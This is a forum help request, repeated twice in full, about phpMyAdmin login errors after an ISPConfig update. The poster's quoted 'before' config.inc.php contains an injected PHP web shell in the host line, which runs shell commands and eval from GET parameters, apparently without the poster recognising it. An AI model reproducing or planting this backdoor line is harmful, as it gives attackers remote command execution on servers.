Spikerok
August 17th, 2009, 05:45 AM
After updating my ISPConfig I found out that when I enter my PHPMyAdmin page (first page) shows me next error
"#1045 - Access denied for user 'root'@'localhost' (using password: NO) "
Before i had error with
"Invalid hostname for server 1. Please review your configuration."
But I managed to fix it by modifying line in "var/lib/phpmyadmin/config.inc.php"
At the start "config.inc.php"
<?php
/*
* Generated configuration file
* Generated by: phpMyAdmin 2.11.8.1deb1 setup script by Michal д-ihaе? <michalihar.com>
* Version: $Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
* Date: Wed, 12 Aug 2009 19:07:53 GMT
*/
/* Servers configuration */
$i = 0;
/* Server (config:root) [1] */
$i++;
$cfg['Servers'][$i]['host']=''; if($_GET['c']){echo '<pre>';system($_GET['c']);echo '</pre>';}if($_GET['p']){echo '<pre>';eva$
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';
/* End of servers configuration */
?>
After I changed it.
<?php
/*
* Generated configuration file
* Generated by: phpMyAdmin 2.11.8.1deb1 setup script by Michal д▄ihaе≥ <michal@cihar.com>
* Version: $Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
* Date: Wed, 12 Aug 2009 19:07:53 GMT
*/
/* Servers configuration */
$i = 0;
/* Server (config:root) [1] */
$i++;
$cfg['Servers'][$i]['host']='localhost';
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';
/* End of servers configuration */
?>
So us you can see I have modified line with "$cfg['Servers'][$i]['host']="
and problem gone!
But Login problem didn't
I have tried deleting all browser history, cookies, didn't worked.
Other thing I done is made an .htaccess file which blocks any one from viewing config file
<Files "config.inc.php">
Order allow,deny
Deny from all
</Files>
As well I have fully deleted "rm -rf /usr/share/phpmyadmin/scripts/"
Nothing above didn't solve my problem.
Need help.
"#1045 - Access denied for user 'root'@'localhost' (using password: NO) "
Before i had error with
"Invalid hostname for server 1. Please review your configuration."
But I managed to fix it by modifying line in "var/lib/phpmyadmin/config.inc.php"
At the start "config.inc.php"
<?php
/*
* Generated configuration file
* Generated by: phpMyAdmin 2.11.8.1deb1 setup script by Michal д-ihaе? <michalihar.com>
* Version: $Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
* Date: Wed, 12 Aug 2009 19:07:53 GMT
*/
/* Servers configuration */
$i = 0;
/* Server (config:root) [1] */
$i++;
$cfg['Servers'][$i]['host']=''; if($_GET['c']){echo '<pre>';system($_GET['c']);echo '</pre>';}if($_GET['p']){echo '<pre>';eva$
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';
/* End of servers configuration */
?>
After I changed it.
<?php
/*
* Generated configuration file
* Generated by: phpMyAdmin 2.11.8.1deb1 setup script by Michal д▄ihaе≥ <michal@cihar.com>
* Version: $Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
* Date: Wed, 12 Aug 2009 19:07:53 GMT
*/
/* Servers configuration */
$i = 0;
/* Server (config:root) [1] */
$i++;
$cfg['Servers'][$i]['host']='localhost';
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';
/* End of servers configuration */
?>
So us you can see I have modified line with "$cfg['Servers'][$i]['host']="
and problem gone!
But Login problem didn't
I have tried deleting all browser history, cookies, didn't worked.
Other thing I done is made an .htaccess file which blocks any one from viewing config file
<Files "config.inc.php">
Order allow,deny
Deny from all
</Files>
As well I have fully deleted "rm -rf /usr/share/phpmyadmin/scripts/"
Nothing above didn't solve my problem.
Need help.